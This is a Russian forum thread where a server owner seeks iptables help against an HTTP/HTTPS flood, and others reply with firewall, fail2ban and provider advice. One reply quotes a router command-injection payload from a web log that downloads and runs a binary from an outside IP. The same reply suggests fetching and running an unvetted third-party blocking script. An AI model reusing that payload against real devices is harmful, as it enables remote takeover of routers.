LINUX.ORG.RU
Форум — Admin  

Флуд на порты 80 и 443. ддос. Прощу помощи сконфигурировать iptables

 ,


0

1

Столкнулся в первый раз.

netstat -na | grep :80 | wc -l
1913

netstat -na | grep :443 | wc -l
1893

Временно добавил в iptables строчки для ограничения числа входящих запросов (не более 20 с адреса), однако правила не применяются, флуд проходит сотнями запросов с одного IP.

Вот текущий вывод: iptables -L –line-numbers

Chain INPUT (policy ACCEPT)
num target prot opt source destination
1 REJECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 #conn src/32 > 20 reject-with icmp-port-unreachable
2 REJECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 #conn src/32 > 20 reject-with icmp-port-unreachable

Chain FORWARD (policy ACCEPT)
num target prot opt source destination

Chain OUTPUT (policy ACCEPT)
num target prot opt source destination
1 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner GID match 986
2 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner GID match 12
3 ACCEPT tcp -- 0.0.0.0/0 127.0.0.1 multiport dports 25,465,587 owner UID match 989
4 ACCEPT tcp -- 0.0.0.0/0 0.0.0.0/0 multiport dports 25,465,587 owner UID match 0
5 DROP all -- 0.0.0.0/0 172.0.0.0/8

1. Луше приводи вывод iptables-save он информативней

REJECT tcp — 0.0.0.0/0 0.0.0.0/0 tcp dpt:80 #conn src/32 > 20 reject-with icmp-port-unreachable

2. DROP а не REJECT

Kolins ★★★★★
()
Ответ на: комментарий от Kolins
  1. Drop и Reject без разницы. Ни то ни другое не применяется.

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*filter :INPUT ACCEPT [54866067:7369417328] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19474906:16277922634] -A INPUT -p tcp -m tcp –dport 80 -m connlimit –connlimit-above 20 –connlimit-mask 32 –connlimit-saddr -j REJECT –reject-with icmp-port-unreachable -A INPUT -p tcp -m tcp –dport 443 -m connlimit –connlimit-above 20 –connlimit-mask 32 –connlimit-saddr -j REJECT –reject-with icmp-port-unreachable -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 986 -j ACCEPT -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 12 -j ACCEPT -A OUTPUT -d 127.0.0.1/32 -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 989 -j ACCEPT -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 0 -j ACCEPT -A OUTPUT -d 172.0.0.0/8 -j DROP COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*security :INPUT ACCEPT [56147991:7488017569] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19488749:16279415545] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*raw :PREROUTING ACCEPT [216164241:17130911346] :OUTPUT ACCEPT [19842883:16303553614] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*mangle :PREROUTING ACCEPT [216164241:17130911346] :INPUT ACCEPT [216164241:17130911346] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [19842883:16303553614] :POSTROUTING ACCEPT [19488749:16279415545] COMMIT

Completed on Thu May 2 08:16:37 2024

Generated by iptables-save v1.8.5 on Thu May 2 08:16:37 2024

*nat :PREROUTING ACCEPT [168871059:9885877086] :INPUT ACCEPT [14851116:869997452] :POSTROUTING ACCEPT [511310:601126199] :OUTPUT ACCEPT [513188:601273747] -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 986 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –gid-owner 12 -j RETURN -A OUTPUT -d 127.0.0.1/32 -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 989 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -m owner –uid-owner 0 -j RETURN -A OUTPUT -p tcp -m multiport –dports 25,465,587 -j REDIRECT COMMIT

Completed on Thu May 2 08:16:37 2024

Yavaler
() автор топика

Не понятно, почему не дропаются лишние, если айпишник один А STATE у большинства этих подключений ESTABLISHED или TCP_WAIT?

Глянь вот тут ещё, может, что-то полезное подвернётся: https://github.com/scriptzteam/anti-DDoS-iptables

sn4il ★
()

Если тебя просто ддосят и не смотрят отвечаешь ты или нет, по сути забивают канал - то твои правила iptables только заблокируют пакеты до приложения, которое их обрабатывает.

Чтобы прекратить флуд (ддос) обращайся к провайдеру / меняй IP / доменное имя.

Тупой ддос ты не победишь с помощью iptables, только если сами отстанут.

Измени сообщение с правилами, применив разметку.

Там каша.

kostik87 ★★★★★
()
Последнее исправление: kostik87 (всего исправлений: 1)
Ответ на: комментарий от Yavaler

Drop и Reject без разницы.

Совсем не без разницы, с REJECT улетает ответ, а DROP просто «забывает» про прилетевшее. Поэтому, как вам написали выше, использовать надо именно DROP.

Ни то ни другое не применяется.

Смотрите выхлоп iptables -L -n -v и если счетчик у правила растет, то значит применяется.

anc ★★★★★
()
Ответ на: комментарий от anc

Можно остановить сервис и запустить заново, но именно через остановку. А то вдруг при перезапуске он поддерживает сохранение соединений.

И тогда они должны порваться. Но думается мне, что ТС нужно идти к провайдеру или менять адрес.

kostik87 ★★★★★
()

флуд проходит сотнями запросов с одного IP.

С одного или с каждого? Если с одного то его запретить. Если с нескольких то можно попробовать fail2ban.

sin_a ★★★★★
()
Ответ на: комментарий от anc

Ну вестимо приложение, которое слушает порты 80 и 443, с большой долей вероятности это WEB-сервер, apache или nginx, но может быть и самописное приложение на python, go, чём-то ещё.

Поэтому сервис.

Ты же написал, что не рвутся активные подключения.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Ну вестимо приложение, которое слушает порты 80 и 44

И как это повлияет на флудильню?

Ты же написал, что не рвутся активные подключения

Я? Где это?

anc ★★★★★
()
Ответ на: комментарий от anc

И как это повлияет на флудильню?

Никак, я написал зачем это может быть стоит сделать.

Я? Где это?

Неправильно интерпретировал.

В этом сообщении: Флуд на порты 80 и 443. ддос. Прощу помощи сконфигурировать iptables (комментарий)

Я изложил проблематику ситуации и то, что блокировка в iptables не решит вопрос загрузки канала флудом.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Я изложил проблематику ситуации и то, что блокировка в iptables не решит вопрос загрузки канала флудом.

Правильнее говорить «не всегда» решит, у меня были истории, вполне не иллюзорного, успеха когда хватало дропа. С дропа просто проще начинать. Вот если не помогает, тогда к прову.

anc ★★★★★
()
Ответ на: комментарий от anc

Если флуд тупой - вероятность 99%, ну ок 98%, что не решит.

Если флуда очень много, а канал небольшой - ещё выше вероятность, что не решит.

iptables в первую очередь снизит нагрузку на приложение, которое слушает порты 80 и 443, чтобы запросы в пакетах с проблемного IP не обрабатывать.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Если флуда очень много, а канал небольшой - ещё выше вероятность, что не решит.

Вот как раз одна из историй успеха произошла на 10-ти мегабитном канале.

iptables в первую очередь снизит нагрузку на приложение, которое слушает порты 80 и 443

Хорошему ddos приложения не обязательны. Вам целиком канал положат, точнее вы сами его положите, и всё.

anc ★★★★★
()
Ответ на: комментарий от anc

На 10 мбит - вам повезло )

А на второй комментарий - я это понимаю. Не будет отказа в обслуживании по загрузке левыми запросами сервиса.

kostik87 ★★★★★
()
Ответ на: комментарий от Yavaler

Так ты ему не говори новый IP и доменное имя.

А так, правильное решение лежит в плоскости обращения к провайдеру или хостингу где сервер с просьбой заблокировать IP.

kostik87 ★★★★★
()
Ответ на: комментарий от kostik87

Мне и нужно снизить нагрузку на приложение. Канал нормальный и держится, сам ВПС слабый и перегружается, нагрузка на проц стабильно 90-120%? судя по графу.

Yavaler
() автор топика
Ответ на: комментарий от kostik87

Может попробовать блокировать по IP злобного сервера?

Как пример… смотрим логи /var/log/apache2/access_log и видим такую картину:

195.1.144.109 - - [02/May/2024:11:41:52 +0200] «GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk) HTTP/1.1» 403 975 «-» «Go-http-client/1.1»

83.97.73.245 - - [02/May/2024:13:00:13 +0200] «GET /actuator/gateway/routes HTTP/1.1» 404 985 «-» "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78

185.94.29.162 - - [06/Apr/2024:03:14:42 +0200] «POST /boaform/admin/formLogin HTTP/1.1» 404 1148 «http://87.189.84.104:80/admin/login.asp» «Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0»

выбраем по каким параметрам ( на пример - «boaform», «cgi-bin», «actuator» или по другим) блокировать IP злобного сервера! … см. /var/log/apache2/access_log

195.1.144.109, 83.97.73.245 и 185.94.29.162

скрипт берём отсюда: http://togusak.ddnss.de/web/ipblock.sh

запускаем скрипт:

server:~ # chmod +x ipblock.sh

server:~ # ipblock.sh start

смотрим:

server:~ # iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

DROP tcp – 83.97.73.245 web.dyhap.org tcp dpt:https

DROP tcp – 83.97.73.245 web.dyhap.org tcp dpt:http

DROP tcp – hostedby.privatelayer.com web.dyhap.org tcp dpt:https

DROP tcp – hostedby.privatelayer.com web.dyhap.org tcp dpt:http

DROP tcp – sin.da.shadowforce.io web.dyhap.org tcp dpt:https

DROP tcp – sin.da.shadowforce.io web.dyhap.org tcp dpt:http

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination


server:~ # ipblock.sh stop

смотрим:

server:~ # iptables -L

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy ACCEPT)

target prot opt source destination

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

demo13 ★★
()
Последнее исправление: demo13 (всего исправлений: 1)
Ответ на: комментарий от demo13

[02/May/2024:11:41:52 +0200] «GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>cd+/tmp;+rm+-rf+shk;+wget+http://103.14.226.142/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk) HTTP/1.1» 403 975 «-» «Go-http-client/1.1»

это лишь автоматический сканер, он по списку сайтов проходится и проверяет на уязвимости. в данном случае ищет уязвимый роутер. смысла в блокировке нет, так как на твой сайт он и так раз всего зайдет

rtxtxtrx ★★★
()
Ответ на: комментарий от demo13

В моем случае, точечные команды блокировки по IP типа: iptables -I INPUT -s 38.129.152.53 -j DROP Опережают прирост активных айпишников атакующего

Атака идет по схеме плавного наращивания числа подключений с каждого айпишника.

Поэтому я считаю, что фильтрации через iptables, возможно будет достаточно.

Но почему-то точечный блок по IP работает, а блокировка по числу запросов нет. Вот это хочется понять и все-таки настроить.

Если это важно, сервер работает на Almalinux8 Но я не могу найти, где лежат логи (если они вообще есть)

Yavaler
() автор топика
Ответ на: комментарий от Yavaler
  1. используй клауд
  2. смени айпи

клауд не панацея, если айпи сервака можно спалить, например, зарегавшись на твоем сайте и посмотрев с какого айпи почта приходит

rtxtxtrx ★★★
()
Ответ на: комментарий от rtxtxtrx

Да клауд я наоборот снял, т.к. с айпишниками клауда только сложнее фильтровать. Случайно можно клауд заблочить и норм трафик убиваешь.

Yavaler
() автор топика
Ответ на: комментарий от rtxtxtrx

это лишь автоматический сканер

это я просто привёл пример как блокировать IP злобного сервера!

:-)

demo13 ★★
()
Ответ на: комментарий от rtxtxtrx

Это только для момента, пока апишник не сольётся )

Yavaler
() автор топика
Ответ на: комментарий от rtxtxtrx

Я вечером ручками 100 активных IP занес в дроп и сдулся ддосер, уже часа два тихо. Пошел еще 100 IP искать, видимо. Как-то автоматизировать бы этот процесс блока.

Yavaler
() автор топика
Ответ на: комментарий от Yavaler

grep + sort + uniq -c выведет айпи с которых больше всего запросов

rtxtxtrx ★★★
()
Ответ на: комментарий от Yavaler

, точечные команды блокировки по IP

Вы не поняли…

Это не точечные команды блокировки!

скрипт запускается как демон и постоянно, каждые 10 секунд, проверяет лог веб-сервера.

как только появляется запись «злобного сервера» по выбранным вами параметрам , он его блокирует по IP до тех пор (можете сами установить время блокировки параметрам UNBAN=-*/30 в скрипте - на 30 минут или другое.), пока по команде iptables -F из /etc/crontab все IP будут удалены и скрипт запускается снова… пока вы не остановите его командой ipblock.sh stop.

можете установить время блокировки UNBAN= хоть на 1час, 2часа, 10 часов или другое…

заблокированные IP пишутся в файл - ban.txt

demo13 ★★
()
Последнее исправление: demo13 (всего исправлений: 2)

зачем так низко падать. попробуйте fail2ban и mod_security

jura12 ★★★
()
Ответ на: комментарий от rtxtxtrx

С клаудом полегче в любом случае. Настроить сам сервер на борьбу с флудом мне скилов не хватило.

Почему-то везде все инструкции с описанием настроек iptables, при том что он вроде как устарел.

У меня AlmaLinux 8, nftables стоят, но даже в мануале от Клауда, идет описание настройки iptables (

В частности, речь о том, чтобы запретить любой входящий на порты 80, 443 (только их и флудят), кроме как с подсетей Клауда.

For IPv4 addresses

iptables -I INPUT -p tcp -m multiport –dports http,https -s $ip -j ACCEPT (я все подсети из их списка внес этой командой последовательно)

Остальное отбрасываем iptables -A INPUT -p tcp -m multiport –dports http,https -j DROP

Все вроде работает, однако после этого сайт перестал коннектится с ДБ MySQL. Показывает таймаут соединения.

Что нужно еще разрешить пропускать? База на локалхосте 3306 (стандартно)

Yavaler
() автор топика
Ответ на: комментарий от Yavaler

Что нужно еще разрешить пропускать?

Вы исчерпали свой лимит бесплатных ответов в этом году

PS: может то не ддос был, а пользователи сайта? Ходили на сервер, флудили запросами

serg002 ★★★★
()
Последнее исправление: serg002 (всего исправлений: 4)
Вы не можете добавлять комментарии в эту тему: топик перемещен в архив.